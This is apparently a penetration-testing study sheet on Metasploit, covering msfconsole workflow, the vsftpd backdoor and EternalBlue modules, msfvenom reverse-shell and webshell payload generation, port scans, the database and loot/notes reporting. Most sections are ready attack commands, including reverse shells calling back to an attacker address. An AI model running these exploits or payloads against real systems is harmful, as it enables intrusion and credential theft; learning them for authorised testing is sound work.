15. Metasploit - Basic

🧨 Metasploit Deep Dive: Core Commands, Payloads, Modules, DB & Reporting

---

⚙️ 1. Metasploit Core Workflow & Commands

Metasploit Framework simplifies exploit development and post-exploitation. Its **interactive CLI (`msfconsole`)** is the primary interface.

🔹 Core Workflow

1. **Start Metasploit:**

```
msfconsole
```

2. **Search for Exploits/Modules:**

```
search type:exploit name:vsftpd
```

3. **Use a Module:**

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

4. **Set Options:**

```
show options
set RHOSTS 10.10.10.10
set RPORT 21
```

5. **Set Payload:**

```
show payloads
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 10.10.14.4
set LPORT 4444
```

6. **Run the Exploit:**

```
exploit
```

🧬 2. Create Payloads with `msfvenom`

`msfvenom` combines **msfpayload** and **msfencode** to generate and encode payloads.

🔹 Basic Syntax:

```
msfvenom -p <payload> LHOST=<attacker_ip> LPORT=<port> -f <format> -o <output_file>
```

🔹 Example: Windows Reverse Shell (.exe)

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe -o shell.exe
```

🔹 Validate Payload File:

- Check with `file shell.exe`
- Use a sandbox to observe behavior (e.g., `Windows VM` + `Procmon`)

🔹 Common Formats:

Format	Description
exe	Windows executable
elf	Linux binary
asp, php, aspx	Webshells
war	Java Web Archive
raw	For custom embedding

🔍 3. Use Auxiliary Modules: TCP Port Scan

Auxiliary modules are **non-exploit modules** for scanning, fuzzing, and information gathering.

🔹 TCP Port Scanner Example:

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.10
set THREADS 10
set PORTS 21,22,80,443
run
```

🔹 Common Scanners:

- `auxiliary/scanner/ftp/ftp_version`
- `auxiliary/scanner/http/title`
- `auxiliary/scanner/ssh/ssh_version`

🧵 4. PostgreSQL Integration with Metasploit

Metasploit uses PostgreSQL to store session data, host info, loot, etc.

🔹 Start the Database (Kali Linux):

```
sudo systemctl start postgresql
msfdb init
```

🔹 Check DB Status in Metasploit:

```
db_status
# Output: connected to msf
```

🔹 Workspace Management:

```
workspace
workspace -a <name>    # Add new workspace
workspace <name>       # Switch to workspace
```

📓 5. Documentation & Reporting with `notes` and `loot`

🔹 Use `notes`:

Store manual findings.

```
notes -a -t "creds" -n "ftp creds: admin/admin123"
notes -l   # List notes
```

🔹 Use `loot`:

Stores automatically gathered loot (e.g., hashes, configs)

```
loot
# Shows stored credentials, screenshots, etc.
```

🔹 Export Results:

```
db_export -f xml -a /root/report.xml
```

🧠 Quick Command Reference

Task	Command Example
Start Metasploit	`msfconsole`
Search modules	`search smb`
Use module	`use exploit/windows/smb/ms17_010_eternalblue`
Set target	`set RHOSTS <target IP>`

Task	Command Example
Set payload	`set PAYLOAD windows/meterpreter/reverse_tcp`
Run	`exploit`
Generate payload	`msfvenom -p <payload> ...`
Start PostgreSQL DB	`sudo systemctl start postgresql`
Check DB status	`db_status`
Add note	`notes -a -t creds -n "ssh creds: root:toor"`
List loot	`loot`

🧩 Summary Checklist

- ✅ Search & use exploits
- ✅ Set payloads and RHOST/RPORT
- ✅ Use msfvenom to create payloads
- ✅ Perform TCP scans via auxiliary modules
- ✅ Configure PostgreSQL and Metasploit DB
- ✅ Document with `notes`, extract loot, export findings
